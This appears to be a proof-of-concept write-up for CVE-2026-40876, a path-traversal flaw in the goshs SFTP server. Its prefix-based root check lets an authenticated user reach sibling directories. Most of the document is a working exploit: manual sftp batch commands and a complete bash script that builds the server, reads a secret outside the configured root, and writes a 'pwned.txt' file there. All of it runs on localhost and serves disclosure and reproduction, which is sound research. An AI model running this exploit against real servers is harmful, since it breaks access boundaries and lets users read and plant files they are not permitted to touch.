CVE-2026-40876

cleanPath = filepath.Clean("/" + clientPath)
if !strings.HasPrefix(cleanPath, sftpRoot) {
    return "", errors.New("access denied: outside of webroot")
}

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta4'
go build -o /tmp/goshs_beta4 ./

rm -rf /tmp/goshsroot /tmp/goshsroot_evil /tmp/goshsroot_owned /tmp/outside_sftp.txt /tmp/local_upload.txt /tmp/goshs_beta4_client_key
mkdir -p /tmp/goshsroot /tmp/goshsroot_evil
printf 'outside secret\n' > /tmp/goshsroot_evil/secret.txt
printf 'proof via sftp write\n' > /tmp/local_upload.txt
cp sftpserver/goshs_client_key /tmp/goshs_beta4_client_key
chmod 600 /tmp/goshs_beta4_client_key

/tmp/goshs_beta4 -sftp -d /tmp/goshsroot --sftp-port 2222 \
  --sftp-keyfile sftpserver/authorized_keys \
  --sftp-host-keyfile sftpserver/goshs_host_key_rsa

printf 'ls /tmp/goshsroot_evil\nget /tmp/goshsroot_evil/secret.txt /tmp/outside_sftp.txt\nmkdir /tmp/goshsroot_owned\nbye\n' | \
sftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1

printf 'put /tmp/local_upload.txt /tmp/goshsroot_owned/pwned.txt\nbye\n' | \
sftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1

cat /tmp/outside_sftp.txt
cat /tmp/goshsroot_owned/pwned.txt

'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc1'

#!/usr/bin/env bash
set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta4'
BIN='/tmp/goshs_beta4_sftp_escape'
ROOT='/tmp/goshsroot'
OUTSIDE='/tmp/goshsroot_evil'
OWNED='/tmp/goshsroot_owned'
CLIENT_KEY='/tmp/goshs_beta4_client_key'
DOWNLOAD='/tmp/outside_sftp.txt'
UPLOAD_SRC='/tmp/local_upload.txt'
PORT='2222'
SERVER_PID=""

cleanup() {
  if [[ -n "${SERVER_PID:-}" ]]; then
    kill "${SERVER_PID}" >/dev/null 2>&1 || true
    wait "${SERVER_PID}" 2>/dev/null || true
  fi
}
trap cleanup EXIT

echo '[1/6] Building goshs beta.4'
cd "${REPO}"
go build -o "${BIN}" ./

echo '[2/6] Preparing root and sibling paths'
rm -rf "${ROOT}" "${OUTSIDE}" "${OWNED}" "${DOWNLOAD}" "${UPLOAD_SRC}" "${CLIENT_KEY}"
mkdir -p "${ROOT}" "${OUTSIDE}"
printf 'outside secret\n' > "${OUTSIDE}/secret.txt"
printf 'proof via sftp write\n' > "${UPLOAD_SRC}"
cp "${REPO}/sftpserver/goshs_client_key" "${CLIENT_KEY}"
chmod 600 "${CLIENT_KEY}"

echo '[3/6] Starting SFTP server'
"${BIN}" -sftp -d "${ROOT}" --sftp-port "${PORT}" \
  --sftp-keyfile "${REPO}/sftpserver/authorized_keys" \
  --sftp-host-keyfile "${REPO}/sftpserver/goshs_host_key_rsa" \
  >/tmp/gosh_poc1.log 2>&1 &
SERVER_PID=$!

for _ in $(seq 1 20); do
  if python3 - <<PY
import socket
s = socket.socket()
try:
    s.connect(("127.0.0.1", ${PORT}))
    raise SystemExit(0)
except OSError:
    raise SystemExit(1)
finally:
    s.close()
PY
  then
    break
  fi
  sleep 1
done

echo '[4/6] Listing and downloading path outside configured root'
printf 'ls /tmp/goshsroot_evil\nget /tmp/goshsroot_evil/secret.txt /tmp/outside_sftp.txt\nmkdir /tmp/goshsroot_owned\nbye\n' | \
  sftp -i "${CLIENT_KEY}" -P "${PORT}" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1

echo '[5/6] Writing a new file outside configured root'
printf 'put /tmp/local_upload.txt /tmp/goshsroot_owned/pwned.txt\nbye\n' | \
  sftp -i "${CLIENT_KEY}" -P "${PORT}" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1

echo '[6/6] Verifying outside-root read and write'
echo "Downloaded content: $(cat "${DOWNLOAD}")"
echo "Written content: $(cat "${OWNED}/pwned.txt")"

if [[ "$(cat "${DOWNLOAD}")" == 'outside secret' ]] && [[ "$(cat "${OWNED}/pwned.txt")" == 'proof via sftp write' ]]; then
  echo '[RESULT] VULNERABLE: authenticated SFTP user escaped the configured root'
else
  echo '[RESULT] NOT REPRODUCED'
  exit 1
fi